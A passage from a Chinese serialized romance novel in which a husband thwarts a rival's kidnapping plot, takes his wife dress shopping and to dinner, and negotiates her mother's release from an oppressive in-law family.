“开什么玩笑。”祝乾瞪了她一眼,“你去看看魏家的孩子在各行各业的影响力,再说,魏家还和于家、吴家交好,是我们两家能对付的吗?” 周若梅拧着眉,说:“若焜还念叨着之前被魏云舟打的事呢。” “这不是他活该?”祝乾很是无语,“什么人他都能动,我说他也这么大了,你还要惯到什么时候?” 周若梅懒得听,掉头就走。 祝乾也很不爽,出去找小情人去了。 魏云舟没急着上楼找祝卿月,他俩没吵架自然也不用急。 他去书房给自己助理打了个电话,想要弄清楚周若焜打算做什么就得盯着。 他身边狐朋狗友那么多,估计没一个嘴巴严实的,收买收买必然会透露出有用的信息。 昨晚这些,魏云舟又处理了点旁的事,阿姨敲门给他送茶水,送完有些欲言又止。 魏云舟抬眸:“有话就说。” 阿姨指了指天花板:“不上去哄哄太太吗?” “嗯?太太怎么了?”魏云舟有些不解。 “您跟太太……不是吵架了吗? 魏云舟倏地失笑,他摇摇头,合上笔记本电脑,说:“行,我现在就去哄。” 第351章 先婚后爱(48) 祝卿月换了身衣服,打算去浴室洗澡,结果在门口碰到了魏云舟。 他也不让道,就这么看着她。 祝卿月疑惑地抬眼看着他:“干嘛?” 魏云舟上前抱住她,抽象道:“哄你。” “啊?”祝卿月摸不着头脑,“哄我干什么?” “阿姨误会你生气。”魏云舟大手一捞,揽住了她的腰,“让我来哄一哄你。” 明明是心烦,祝卿月想了想,忽然笑了声:“她哪里看出来我生气了?” 魏云舟靠在浴室的门边,耸了耸肩:“那你就要问她了。” 祝卿月拍他胸口:“好了,让开,我要洗澡了。” 魏云舟拦住她,食指蜷起,抵着她眉心按了按,说:“烦什么呢,都说我会解决,如果实在想出门或者有事,一定要给我打电话,我陪你出去。” “我知道了。”祝卿月捂了下额头。 魏云舟根本没用力,他见祝卿月一副被按疼的模样,觉得好笑,这分明是撒娇吧。 他一手揽住她后脑勺,一手在她眉心揉了下:“行了吧?” 祝卿月哼了声,傲娇地推开他,进了浴室。 魏云舟收敛了笑意,转头给于见山打了电话,约他明晚吃饭。 于见山一听就是有事,毕竟他俩刚分开没多久,他一口应下:“行,要带吴佑吗?” “不带,就你和我。” “好嘞。” 谢莹是下午一点落地,时间上正好。 第二天,魏云舟和祝卿月提早了两个小时去了机场,谢莹出来的时候,第一时间接到了她。 “妈,就这两三天的时间,你们怎么跑那么远去玩了?”祝卿月上来就问,“累不累啊?怎么不多玩两天?” “意料之外的事,刚碰面时大家都高兴,兴冲冲就买了票,毕竟z市也没什么好玩的。”谢莹乐呵呵道,“你还别说,这次出门玩挺有意思的,人比较多,七嘴八舌的,很热闹。” 祝卿月勾唇笑了笑,笑里有很多的心疼,谢莹其实是个爱热闹的人,也是个爱笑的人,但这些年在祝家,不是这个找茬,就是那个规矩,为了娘儿俩的生存,她什么都忍了。 上了车,母女俩聊得开心,只是半小时后,谢莹发现方向不太对。 祝卿月给她解释:“这段时间去丹枫公馆住吧,以后都不要回去了。” 谢莹一时没明白,转头看向魏云舟。 魏云舟沉稳地点了点头:“您先住下,等过段时间,我会给您说清楚的。” 祝卿月拉住谢莹的胳膊:“好了,您安安心心住下,也别说打扰不打扰的话,丹枫公馆分前后楼,您住后边吧,清净一些。” 谢莹沉默半晌,这倒是可以,不然和小两口住一起,总有不方便的时候。 谢莹在飞机上吃过餐,回到家时已经两点多了,魏云舟和祝卿月将她送到二号楼的客厅。 司机将她行李全都拿进了房中,谢莹转头对魏云舟说:“好了,我要休息会儿,别跟着前后跑了。” “那您先休息。”魏云舟颔首,转身带着祝卿月离开了后面。 踏进连接两座别墅楼的庭院,魏云舟说:“妈被临时接到这里,很多生活物品还没备齐全,你明天带着阿姨们给准备一下。” “好。”祝卿月惊讶他这么细心,虽说她也想到了这一层,但魏云舟能够察觉并说出来,已经很难得了。 “晚上你自己跟妈吃饭,我出去一趟。” 祝卿月直觉跟周若焜的事有关,话到嘴边,她又咽了回去,最终也只是点了点头。 魏云舟握住她肩膀,低头在她眉心落下浅浅的一个吻:“相信我。” 祝卿月搂住他的腰,耍赖般抱了许久。 谢莹很少在别人家过夜,出去玩的几天,在酒店都没睡好,有点认床。 玩得高兴,却也累,结果在丹枫公馆的床上一睡就是两小时。 醒来时,她自己都有些不可置信。 喝了点茶水,用了块糕点,没一会儿,祝卿月过来了。 谢莹连忙迎上去:“怎么这么早就过来了?” 祝卿月说:“云舟出门办点事,我一个人在前面待着无聊,过来跟您说说话。” 谢莹将她拉到客厅坐下,问她和魏云舟的近况。 祝卿月失笑:“您怎么每次都问啊,那您觉得我有什么变化吗?” “嗯……”谢莹将她上下打量了一遍,“更漂亮了,算不算?” 祝卿月自恋道:“我本来就漂亮啊。” 谢莹被她逗笑:“看出来了,今天在机场看到你就觉得神采飞扬,一定是云舟把你照顾得很好。” “所以您也不用每次问啦,也不用担心。”祝卿月抵了抵谢莹,“您这次出门有拍照片吗?我看看。” “没拍几张。”谢莹没让她看,反倒是问:“你突然把我带到这里,是不是祝家出什么事了?你大伯那边找的什么借口?” 祝卿月失笑:“还真是什么都瞒不过您。” “所以到底出什么事了,你俩不跟我商量一下就把我带到这里,我还不能知道理由了?” “还不是周若焜,攒着劲儿要报复呢。” 谢莹吓了一跳:“真的?从哪儿得到的消息啊?” “丁怡无意中撞到的,”祝卿月拍了拍她的手,安抚她,“没事的妈,有云舟在。” 谢莹听到魏云舟的名字,心里一下稳定下来。 想起周若焜,她就恨得牙痒,当时她的月月才多大啊,他就敢打歪心思。 “那……云舟有说怎么做吗?”谢莹问。 她是觉得,最好一次性给解决掉,不然小人难养,始终是个祸害,不知道哪一天就把人咬得血淋淋的。 祝卿月摇了摇头:“他没说,也拒绝了我的建议。” “什么建议?” 祝卿月将事情给谢莹讲了遍,谢莹说:“这样冒险确实不太好,真出什么事,周若梅肯定站在她弟弟那边,你大伯和她更是夫妻一体,云舟考虑的并没有错,还是在这里安全一些。” 祝卿月当然明白这个道理,只是什么都不做,任由魏云舟去承担风险,她心里也打鼓。 可若自己不听他的话,她又怕拖后腿。 所以魏云舟走后,她忍不住胡思乱想,最终来找谢莹聊聊天。 “月月,不用担心。”谢莹看着她,说,“一个男人最大的魅力就是解决事情的能力,尤其还是为了家里人,你要对他有充分的信心。” 祝卿月点了点头:“知道了。” 此时此刻的魏云舟还在和于见山吃饭,两人去了一家隐蔽性极好的私厨。 于见山听他说话,拍了下桌下:“妈的,给他脸还不要了,老子上次还是揍轻了。” “他如果不是对月月不轨,我不会动手。”魏云舟按住他,示意他别动气。 魏云舟自小性格就沉稳,也不是动手的人,若非周若焜犯贱,他都懒得搭理。 于见山抬眸:“那你这次打算怎么办?” “你找人先帮我盯着点动向。”魏云舟说,“他就算有那个心,也得蹲得到人才行,上次得罪我,他父亲必然对他教育了一番,我猜想他是心里不服气憋着坏,但聪明点的坏不会自己动手。” 于见山说:“你的意思是他会雇人行凶?” 魏云舟点了点头:“这种最方便,只要用钱买通了,多的是人抢着干。” 于见山嘲讽地笑了声:“钱给到位,坐牢都有人替。” 魏云舟说:“总之先帮我盯着他一点,我记得他狐朋狗友挺多的,从这方便入手就可以,你认识的人多,我也只能找你。” “懂。”于见山和他碰杯,“你的事就是我的事。” 魏云舟主动敬了他一杯酒:“那就拜托你了。” 一年三百六十五天,于见山得有三百天都混在各大娱乐场所,凡是叫得上名号的场子基本都有他的影子。 当然,他之所以这样,最大的原因还是很多娱乐场所是他投资的。 所以让他盯一下周若焜再合适不过,于见山在群里随便一句话,遍地是眼线。 晚上十点,魏云舟回了家,客厅大灯没开,佣人过来接了他的外套。 魏云舟问:“太太呢?” “楼上睡觉呢。” 这么早?魏云舟看了眼时间,也不算早,他又问:“太太今晚在哪儿用的餐?” “在后头用的餐,八点回来的。” 魏云舟点了点头,径自上楼,他没有去卧室,直接去了浴室,身上的酒味太重,祝卿月肯定闻不惯。 魏云舟洗了两遍澡,刷了两遍牙才回了卧室,结果卧室的床上没人,他愣在眼底,四处看了眼,还是没有发现祝卿月的身影。 一瞬间,魏云舟汗毛竖起,虽说不大可能,但因为周若焜的事,让他第一反应是祝卿月遇险了。 他拿起手机出了卧室,电话还没拨出去,猛地在客厅入口停住了。 三楼也是有客厅的,和一楼的格局稍稍不同,一楼用来待客,这里是独属于祝卿月和魏云舟的私密空间。 目前为止,就连孟棠和魏川都没见过丹枫公馆三楼的模样,只有和魏云舟结了婚的祝卿月不仅看到了,还住了进来。 魏云舟吊着的一颗心终于落地,他走过去,看着已经睡着的祝卿月无奈失笑。 她脸上还卡着一本摄影相关的书籍,他轻轻拿下来,惹得祝卿月眉心一蹙,幽幽地睁开眼睛。 待看清人后,她一把搂住了魏云舟的脖颈,开心道:“你回来啦。” 魏云舟一个不察,直接单膝跪地,倾身下去让她抱着。 他抚着她的头,温柔道:“吵醒你了?” 祝卿月在他颈窝摇了摇头:“我等你来着,没想到睡着了。” “是不是太累了?” “我累什么啊。”祝卿月边说边往里边让了个位置出来。 沙发很大,躺两个人绰绰有余。 魏云舟见状,躺了上去,习惯性地张开手臂,将祝卿月纳入怀中。 祝卿月笑着将毯子掀开:“给你一半。” “今晚要在这里睡?”魏云舟用毯子裹住两人。 祝卿月摇摇头:“这里睡一晚,第二天得腰酸背痛吧。” “不至于。”魏云舟用指尖绕着她的长发玩,“今晚是不是跟妈聊了很多?” 祝卿月“嗯”了声:“她说如果这次真的能从祝家出来,她就得搬出去一个人住,可能也不会常待在z市。” “嗯?那去哪儿?”魏云舟搂紧她,“不会把你也带走吧。” “你想什么呢?”祝卿月失笑,“这次不是跟朋友们出去玩了嘛,她想着以后到处看一看,走一走,也不算白来这世上一趟吧,以前她一直被我拖累在祝家,我也希望她以后能够见更多的人,看更多的风景,我妈那个人,其实很爱热闹的。” “看出来了。”魏云舟在她发顶落下一吻,“当初在雁清的时候,她就挺爱别人来串门找她聊天。” 祝卿月笑道:“这都被你看出来了,我当时还吐槽呢,她还有做村头情报人员的潜力呢。” 魏云舟有一下没一下拍着她的后背:“还说了什么?” “问了我和你的近况,还有……”祝卿月欲言又止,语气里没有为难,倒有两分羞赧。 “还有什么?”魏云舟问。 “她问了我咱俩什么时候要孩子。”祝卿月从他怀中仰起头,“可不是我说的,是她问的。” 魏云舟失笑:“怎么跟爷爷奶奶问了一样的话,前两天我还给两位老人家打了预防针,让他们过年的时候不准跟你提孩子的事。” “爷爷奶奶催生啦?”祝卿月看着他,“他们还说了什么啊?” 魏云舟说:“无非就是他们老了,我哥也有孩子了。” 祝卿月说:“老人家年纪大了,也能理解,但爸妈好像从来没有说过孩子的事。” “他俩才不管呢。”魏云舟说,“按照我爸的话就是,他管我妈的一辈子,其余人不关他事。” 祝卿月笑了声:“挺酷啊。” 魏云舟说:“是挺酷的,一辈子好命,做的是自己喜欢的事,还没有传家的压力,整天就缠着我妈,竟然就这样缠了一辈子,但这几年,我明显感觉到我爸有些焦虑。” 祝卿月有些疑惑:“为什么焦虑?” 魏云舟叹了声气:“年纪大了,我妈稍微有点小感冒他就鹤唳风声,因为这事,我妈跟他吵了好几回,年轻时候没拌过的嘴都在这几年吵完了。” 祝卿月突然抱紧魏云舟,说:“相爱的人可以理解,我想一想以后,我们终会不在这个世界上,我也觉得恐怖。” 魏云舟顿时噤了声,他不应该大晚上的跟她聊这个。 “睡觉好吗?”魏云舟亲了她一下,“我陪着你,等你睡着了,我再抱你回卧室。” “好。” 第352章 先婚后爱(49) 在魏云舟的怀里,祝卿月很快睡着了,魏云舟其实也有点懒得动,但肯定不能睡在沙发上。 他将祝卿月抱起来,回了房间。 她很轻,魏云舟抱得也很小心,没有吵醒她,祝卿月在魏云舟怀中安然睡去。 晚上睡得早,第二天起得未必早。 祝卿月见魏云舟起身,冲上去抱住他的腰,腻歪道:“不想给你走。” 魏云舟系领带的手一顿,垂眸按住她的手背,说:“要不跟我去公司?” 祝卿月心动了一瞬,还是摇了摇头:“妈还在家里呢,算了。” 魏云舟笑了声:“那你松开啊。” 祝卿月这才意识到自己还抱着他,撒娇地哼了声,松开了他。 魏云舟穿好衣服,转头亲了她一口:“那就过两天再陪我去公司,这两天你先陪陪妈。” “好。” “想要补觉的话先把早饭吃了,我走了。”临走前,魏云舟还是没忍住叮嘱了一句。 祝卿月揭开被子,说:“那我还不如和你一起吃个早饭。” “你也看看现在几点了。”魏云舟失笑,“我赶不上了,去公司吃,带会儿让妈陪你一起吃饭。” 往常魏云舟都是七点起床,九点到公司,祝卿月以为现在不过起点左右。 她回眸瞧了眼床头的时钟,结果已经八点半了。 魏云舟睡过头了?祝卿月想笑,又生生忍住了。 这个点,她妈妈估计都吃过了。 祝卿月起身洗漱,下楼的时候魏云舟已经走了。 她索性去了后边,结果谢莹还没吃,直接带她去了餐厅。 “妈,您怎么还没吃?”祝卿月拉开椅子坐下,“这都快九点了。” 谢莹说:“不饿,等你呢。” “你也不怕我还在睡懒觉。”祝卿月咬了口水煮蛋,“下次别等了,您先吃。” “我猜你应该会起来吃早餐,我以前反正是叫不动你。” 祝卿月鼓着腮帮子抬眸:“魏云舟就能管得住我了?” “谁让你吃这套啊,云舟两句好话一说,你不得美滋滋地起床吃早饭,我可不信他能任由你空着肚子睡到中午。” 祝卿月“嘿嘿”笑了声:“我哪里吃他这套了。” 谢莹:“……你是我生的,我不了解你吗?” 祝卿月还是嘴硬地嘟囔了一句:“我才没有。” 谢莹看破不说破。 魏云舟快一个礼拜没进公司,祝卿月还以为他事一定很多,结果每天都提早了半小时回来。 这一天,祝卿月实在没忍住,问他:“公司没事吗?” 魏云舟下意识看向她:“嗯?什么事?” “我还以为你回公司上班后会很忙,但你这几天回来都挺早的。” 魏云舟说:“我不放心你。” “别这样。”祝卿月抓着他胳膊晃了下,“年底很忙,还是工作要紧。” “今年公司年会,你陪我一起出席?”魏云舟索性转移了话题。 “年会?什么时候啊?”祝卿月问。 魏云舟说:“快了,最多十来天。” “我出席合适吗?年会还是偏向工作属性的吧?” “中高层开放家属名额。”魏云舟说,“到时候会有不少太太们出席。” 既然这样,她也不能给魏云舟丢脸,于是点了点头:“要隆重打扮吗?” “还笼罩啊?”魏云舟笑道,“够漂亮了,一套合适的礼服,配一套珠宝就行。” 祝卿月应了声,拉着魏云舟欲言又止。 “怎么了?”魏云舟刮了下她的脸,“有话说啊?” “周若焜那边怎么样了?我跟我妈也不能一直待在家里吧?” 魏云舟说:“想出门就出门,带着保镖就行,他现在估计没什么空找你茬。” “为什么?你对他做了什么?”祝卿月这几天一直观察着魏云舟,发现他一切如常,回来也没跟她提周若焜。 “人在澳门。”魏云舟言简意赅。 祝卿月惊讶地张大嘴巴:“他又赌了?前些年已经输掉了三分之一个周家,竟然还没戒掉,这次打算输多少?” 魏云舟摊手:“谁知道。” “不对,自从他上次赌博被发现后,差点被他把砍掉手,这几天周家人看他也看得紧。”祝卿月看向魏云舟,“不会是你的手笔吧?” “手脚长在他身上,钱也在他的卡里,跟我有什么关系?”魏云舟说。 祝卿月有些不信,魏云舟拍了拍她的头:“洗澡去,明天挑挑礼服和珠宝,让妈给你个参考。” 翌日一早,祝卿月跟谢莹说了年会的事,谢莹说:“那约个时间,陪你出去一趟。” “后天。”祝卿月说,“跟店里约好了。” 这个节骨眼,出门肯定得带保镖。 结果刚出门,祝卿月的车被两辆面包车围追堵截,防护到这个地步还是被钻了空子。 三辆车青天白日在大马路上上演速度与激情。 祝卿月一脸懵地上了魏云舟来接她的车,她指了指身后:“怎么回事啊?” “没事,我陪你去试礼服。”魏云舟敛下神情,转头去扶谢莹。 谢莹顿了几秒,笑道:“你回来了正好,你陪她去,我昨晚没休息好,有点不得劲。” “那也行。”魏云舟让阿姨带谢莹回房,自己带祝卿月去店里。 “到底怎么了?他们没事吧?”祝卿月抓住魏云舟的手问,“他们”说的是保镖。 “没事,他们都有功夫傍身。”魏云舟说,“周若焜身边狐朋狗友不少,提前得到他要对你动手的消息,我有准备,让空车出了门。” 祝卿月愣了一瞬:“那你现在不去处理吗?” 魏云舟摇摇头:“没事,他们会看着处理,咱俩装不知道,我现在陪你去看礼服。” 祝卿月见他松弛成这样,不由也放松了下来。 还没到店里,她就开始挑上颜色了:“你觉得蓝色怎么样?” “看是什么蓝吧,浅色清新一点,深蓝深邃一点,不过你穿什么颜色都好看。” 祝卿月笑道:“得体最重要吧。” 魏云舟又是领导,她要是穿得花枝招展,不得章法,会被诟病他娶了一个花瓶。 魏云舟却道:“想穿什么穿什么,一个年会而已。” 车辆很快到了目的地,导购经理早已带着两位资深造型师等候在门口,店内清空了二楼的vip区域。 魏云舟先行下车,转身朝祝卿月伸手。 经理率先问好,祝卿月微微颔首,迎着一片浓郁的香气进了店内。 到了二楼,茶水糕点上来之后,经理恭敬道:“我们根据魏先生提供的数据,为您特意调配了款式,也保留了三件未公开的独家款……” 经理在一旁介绍着,态度十分恭敬,祝卿月看了几个款式的,决定亲自试一下。 不过试衣服也很累,她挑了三件,转头问魏云舟:“怎么样?” 魏云舟仔细看了下,说:“过于保守,我来选吧。” 祝卿月一愣:“你选?” “嗯。”魏云舟点了点头,“我来选三件,你去试试,敢不敢挑战一下?” 祝卿月被他一激,有什么不敢的,当即点了头。 魏云舟没给她看,选了后示意她去试衣服。 第一件是紫色的礼服,很梦幻很有韵味的一个颜色。 礼服简单大方,抹胸搭配一条颈间飘带,腰部有皱褶设计,开衩到大腿。 祝卿月比例好,随意一穿,气质高雅又独特。 她摆了好几个poss,问魏云舟怎么样,情人眼里出西施,魏云舟自然点头说好。 祝卿月没看到他眼睛里的惊艳,说:“我再去试试那条白色的。” 第二件是白色缎面鱼尾礼服,出来的时候,祝卿月像换了一个人,从稍稍跳脱变成了温柔优雅的贵妇。 一字肩长袖礼服,无需任何多余的缀饰,将她脖颈的线条拉得纤细笔直。 裙摆随着步伐晃着,像流动的月光。 祝卿月转了一圈:“怎么样?” “好看。”魏云舟干巴巴地吐出两个字。 祝卿月:“……就好看?” 所有的服务人员姨母笑地看着他俩。 魏云舟起身,走过去搂住她的腰:“我说的是真心话,你穿什么都好看,但是这件比紫色的更好看一些,很合适年会上穿。” “我也觉得这件合适。”祝卿月又对着镜子欣赏了一会儿。 这件礼服不是纯白,是奶油色,缎面质感非凡,像把一层月光穿在了身上。 “再把那件玫红色的试一下吧。”魏云舟说。 祝卿月回:“就这件吧,那件不试了,年会应该不少人会穿红色系。” 魏云舟握住她的肩膀,将她往试衣间推:“来都来了,也选好了,试一下,好看全都买着,待会儿带你去吃西餐。” 祝卿月见魏云舟西装革履,又提到西餐,必然是对着装有要求的餐厅,也就不再挣扎,去换了第三套礼服。 刚换完,经理带头惊呼:“天哪,魏太太,您和红色系真的太适配了,魏先生看到,一定很惊艳。” 祝卿月其实也被自己惊艳了一下,嘴上却还谦虚着。 她自然穿过礼服,但为了不出错,也就红白黑三色穿得多一点,这样艳丽的玫红色,还是第一次穿。 也得亏她皮肤白,不然就是场灾难。 香槟色的帘子缓缓拉开,等在外边的魏云舟下意识回眸,一朵弗洛伊德玫瑰华丽高贵地站在眼前。 祝卿月实实在在从他眼中看到了惊艳。 “魏先生,不得不说,您的眼光是真好。”经理在一旁夸赞了一句,“无论是人,还是衣服,都很适配。” 确实挺会说话的,魏云舟心情不错,双手拉住祝卿月的手,将她从圆台上带下来:“你觉得怎么样?” 祝卿月仰头看着他,嘴角压不住笑:“眼光确实不错。” 魏云舟笑道:“让他们给你做个妆造。” “好。” 祝卿月就把这件礼服当成今晚约会的战袍。 半天满载而归,华灯初上,两人抵达餐厅。 门童躬身上前,轻轻拉开车门,另一只手挡在车门上沿,问了晚上好。 专属电梯直达顶楼,电梯门打开的瞬间,悠扬的小提琴声扑面而来。 餐厅经理身着黑色燕尾服等候着,见到两人,得体绅士地问了好,引导二人就座,是餐厅里最稀缺的景观位。 两份皮质菜单被送到眼前,内侧印着当日的限定菜品。 魏云舟问祝卿月:“想吃什么?” 祝卿月稍稍挑眉,笑了声:“那我点了?” 魏云舟点了点头。 祝卿月翻了翻餐单,熟练地点了餐,侍者确认之后,微微躬身退了出去。 餐桌边只剩下两人,祝卿月问魏云舟:“今天不年不节,也不是谁的生日,怎么搞得这么隆重?” “不算隆重。”魏云舟说,“就是普通的一顿饭。” “这里可不好约,你肯定一早就安排好的。”祝卿月看着他,“从你跟我说去参加年会的时候,你就已经计划好一切了?” 魏云舟点了点头:“我说了我能解决,而且,我也不想在你面前提周若焜的事。” “我也不想提他。”祝卿月稍稍正色,“你接下来的事情能不能告诉我,你打算做什么?” 等待的间隙,侍者端来两份餐前小食,祝卿月道了声谢。 魏云舟说:“等我捏住他把柄,自会和周老爷子谈条件,到时候,你妈妈就能离开祝家。” 祝卿月一时懵懂:“你找周老爷子谈条件怎么会牵扯到我妈?我妈也不姓周啊。” 魏云舟说:“周若焜出事,我自然找周家人,我手里有他把柄,自然也只会找周家人谈条件,不过最近你大伯和周家有合作,周老爷子为了儿子,自然愿意以合作要挟祝乾放过岳母,而我的唯一诉求就是岳母离开祝家。” “那周若焜呢?” “我手里有他雇凶杀人的把柄,他赌博关我什么事?”魏云舟坏笑了声。 祝卿月:“……” 周若焜赌到发狠忘情,真有可能把周家败了,这种败家子多的是。 而魏云舟又在周祝两家合作的项目上频频使绊子,惹得老爷子无暇分身去管周若焜,他恐怕至今还不知道儿子已经去了澳门。 前菜准时上桌,祝卿月有些饿,等侍者分好餐,她切下一小块鹅肝,搭配无花果送进了口中。 主餐上桌后,魏云舟和祝卿月碰了杯:“今晚可以稍微多喝一点。” 祝卿月还是比较爱红酒的,心情不错之余,魏云舟无奈之际,一不小心又喝多了。 第353章 先婚后爱(50) 祝卿月虽然多喝了点酒,脑子却清醒得很,只是脸颊微微泛红,有些醉意。 不过,这只是她的自认为。 “慢点。”魏云舟握住她手臂,提醒她脚下的台阶。 祝卿月站定,将胳膊从他手中抽出,挽住了魏云舟的胳膊:“这样可以吗?” 魏云舟点了点头。 “我没醉,充其量微醺。”祝卿月半挂在魏云舟身上,“你的酒量是不是很好?没见你喝醉过。” 魏云舟说:“我控制量,不是喝不醉。” 喝酒误事,即便是私人聚会,他也会量力而行,有时候因为应酬确实会多喝,但也不至于不省人事。 两人上了车,祝卿月笑嘻嘻地捧着脸歪着头,就这么看着魏云舟。 长时间被一个人炙热的眼神盯着,谁都受不了,魏云舟伸手掰过她的脸:“看窗外。” “窗外有什么好看的。”祝卿月又将脸转了回来。 魏云舟失笑:“我有什么好看的?” 祝卿月说:“自然是好看的。” 魏云舟勾唇浅笑,第一次觉得外貌是如此的有用。 “你喜欢这样的?”为了听她两句情话,魏云舟明知故问。 祝卿月很少这样直白,眼下因为酒精的作用胆子大了些,给自己谋取福利也是顺其自然。 祝卿月一言不发地看着他,似在打量,可聚焦不到一处的眸光又暴露了她酒意熏头的事实。 魏云舟任她打量,忽然,祝卿月抓住他的领带,猝不及防,两人鼻尖几乎撞到一处。 祝卿月的目光从他的眼睛向下缓缓打量:“那我可要好好看看。” 魏云舟笑了声:“看出什么没有?” 祝卿月摇摇头:“离得太近了。” 魏云舟不退反进,偏头亲在她唇角。 猝不及防,祝卿月抵住他肩膀,有些羞赧:“谁让你亲了?” 魏云舟挑了挑眉:“不能亲?” 自然能亲,祝卿月眸光偏移到前头,小声说:“司机还在。” 魏云舟笑一声,靠回椅背上,只不过手没松,依旧牵着。 回到丹枫公馆,一路回到卧室,两人始终十指相扣。 祝卿月扔掉披肩,手背到身后去解拉链,因为不得劲,始终没有够着。 魏云舟上前,撩开她的长发,替她解开了拉链。 祝卿月转头,刚要道谢,被魏云舟噙住了唇。 魏云舟从她身后抱着,一个使力,两人滚到了床上。 长发如云,披散在纯白的床铺里,美得惊心动魄,魏云舟哪还有什么制止力,沿着她的脖颈往下吮吻。 祝卿月又痒又羞地躲避,却敌不过魏云舟的力气。 他格外喜欢亲她侧颈,那样祝卿月会躲着脖子,可怜兮兮地看着他。 可这样一来,他只有加重力道的想法,更不想绕过她。 魏云舟掰过她的脸,再次亲上她的唇,周遭的温度不断攀升,他在祝卿月的皮肤上留下细密暧昧的吻痕。 玫红色衬得祝卿月在灯光下莹润白皙,魏云舟眼睛似乎也被染红了…… 卧室的灯开到后半夜,纠缠的喘息归于平静,灯也随之灭掉,安静地等待黎明的到来。 欢快的一夜过后,祝卿月腰酸背痛,魏云舟精力旺盛,一大早留了个张纸条就去公司了。 祝卿月懒得动弹,连后边都没去,磨磨蹭蹭又是一天。 晚间,他给魏云舟打电话,问他回不回来吃饭。 魏云舟说不回,他那边很安静,祝卿月以为他在开会,随之挂断了电话。 魏云舟回了办公室,里面的气氛沉重且压抑。 周老爷子拄着拐杖,笑了声:“小魏总,开门见山吧。” 魏云舟冷着脸,姿态摆得很高,这件事是周家理亏在先,即便他是晚辈,也没有弯腰的道理,更何况,周若焜欺负的是祝卿月。 “他雇佣、计划整件事的视频你已经看见了,要不是我那天阴差阳错去接我太太买衣服,恐怕这会儿哭的是我吧?” 周老爷子自知理亏,声音软了下来:“提出你的条件,不管什么我都会答应。” “如果我一定会追究呢?”魏云舟锐利的视线扫过去,“我已经给过他一次机会。” “你能坐下来跟我谈,就是还有回旋的余地,大家都是生意人,赶尽杀绝不好吧?” 魏云舟冷笑:“要不是我岳母还在祝家,我绝不会善罢甘休,我希望周若焜以后看到我太太识相点。” 警告的话,周老爷子不会听不出来。 他何曾被晚辈这样对待过,但为了唯一的儿子,什么都得往肚子里咽。 可和魏家拼不划算,也拼不过,拿整个周家勉强重创魏家,但人家是瘦死的骆驼比马大。 “我会让他出国。”老爷子保证道。 魏云舟点了点头:“祝家这些年一直扣着我岳母,她年纪也大了,我太太很有孝心,希望以后由她自己照顾母亲,大伯那边,麻烦老爷子了。” 周老爷子好歹是祝乾的岳父,且对祝乾帮助很多,祝乾一向也听他的话。 如今再有周若焜在这里给他拖后腿,老爷子再不情愿,也得去约祝乾碰面。 祝乾急匆匆从小情人那里赶到了周家,面对老爷子时还有些不太自在。 老爷子横他一眼:“你最近越来越过分了。” 祝乾干笑了声,随后坐下:“您找我?” 老爷子朝助理点点头,助理立刻将手中的视频放给他看。 视频里,周若焜和亲近的几个朋友一边吃饭一边商量怎么绑架祝卿月的事,而酒桌上,没有一瓶酒,就说明他是很认真的要执行这个计划。 他的目的还不仅仅是吓唬吓唬祝卿月,是实实在在想要报复,因为被魏云舟打进医院的不甘,眼睛里凝着浓重的恶毒。 祝乾看完,一时无语,好歹是他祝家人,未免太过分,他不自觉地皱起了眉头。 老爷子是什么意思?难不成要他做帮凶? “这件事本就是周家理亏,上次只是进医院,已经是魏云舟手下留情了,这次再不解决好,我儿子都得搭里头。” 祝乾一愣:“那您现在是什么意思?” “我打算把他送出国,但是魏云舟那边提了一个要求,如果不答应,视频会公开,而替祝卿月挡灾的两个保镖也是人证,那辆车都被撞报废了。” “真去绑架了?那……”祝乾瞪大眼睛,“月月没事吧?” “没事,被魏云舟阴差阳错救下了。” 其实老爷子也差点被吓着,祝卿月但凡出点事,魏家绝不会善罢甘休,现在一切都还有回旋的余地。 不过一个谢莹,对他来说没有一点损失。 “那魏云舟提了什么要求?”祝乾问。 “他要谢莹。” 祝乾皱了皱眉:“这事,我得和家里的二老商量商量。” 谢莹在祝家这么多年,对外的声誉极好,早年间也因为丧夫引得外界一片同情,她替祝家做慈善赚名声,是对外的一块招牌。 “这么多年过去了,祝家早已经站稳了脚跟,不过一个女人,祝卿月都嫁出去了,留着她干什么?而且若梅整天跟她作对,你看着不烦?” 祝乾点了点头,被老爷子说到了心上。 如果他弟弟还活着,跟他争权夺利,他或许不喜欢,但他弟弟早亡,祝乾心里还是有些感慨的。 谢莹在祝家这么多年,其实受了很多委屈,祝乾心知肚明。 回去的路上,祝乾想了一路,最终让司机拐了弯,去找了两位老人。 不知道他是怎么说服两位老人的,反正祝卿月从魏云舟口中得知这个消息的时候,愣了好半天才小心翼翼地朝他确认:“真的?” 魏云舟点了点头:“我待会儿派人去收拾东西,以后,妈就自由了。” 祝卿月一下抱住了魏云舟:“谢谢你。” 魏云舟拍了拍她的后背,说:“谢我干什么?都是我应该做的。” “我去找我妈,要一起吗?” “我不去了,你们母女俩好好说说话。” 祝卿月感谢他的体贴,踮脚亲了他一口。 来到北边,母女俩相视一笑。 谢莹很开心,拉着祝卿月说:“今晚陪妈妈喝一点?” “好。”祝卿月也很开心,“喝醉了也没事。” “那不行,明天还得去祝家收拾行李。”谢莹说,“明晚我就不过来了。” 祝卿月知道,她也有几处房产,于是点了点头:“您高兴就行。” 谢莹给两人倒了酒,说:“其实我知道,当初你爸爸去世的时候,不过是老太太故意磋磨我。” “那时候你还小,肯定离不开我,她却给我两条路让我选。” 祝卿月喉间一酸:“我倒宁愿您选择自己。” “可我要是离开了祝家,这一辈子都不能见你了。”谢莹流下一串眼泪,“我既然生下了你,又怎么能丢下你。” 她最好的青春年华全都被关在了那座漂亮的别墅里,但祝卿月平安健康地长大了,这是她最开心,也是最庆幸的事。 有她在身边,母女俩都时不时被人欺负,更别提只留下祝卿月一个人。 谢莹想都不敢想,看到祝卿月现在过得这么幸福,她曾经的决定就没有错。 她哪里不知道老太太故意把她当贞洁烈女挡在祝家的前头赚名声呢。 无所谓,今天过后都没所谓了,以后的每一天,她只叫谢莹,不是祝太太。 将近十一点,祝卿月从北边离开了,她想一个人在庭院里转两圈再回去。 结果在庭院门口看到了一道颀长的身影,她看不清面孔,却知道是谁。 两人在黑暗中遥遥相对,祝卿月吸了吸鼻子,抹了把眼泪,结果越擦越多。 魏云舟上前,心疼地给她抹去眼泪。 “怎么越擦越多?” 祝卿月哭着笑了起来:“我怎么知道。” “妈睡觉了?”魏云舟温柔且耐心地给她擦眼泪。 “睡了,我看她睡着了才出来的。”祝卿月喉间冒着酸气,“我曾经以为她会被关在祝家一辈子,我当初之所以嫁给你其实也是因为你们家很厉害,比姓祝的厉害,我就想着借你的势达到我的目的。” 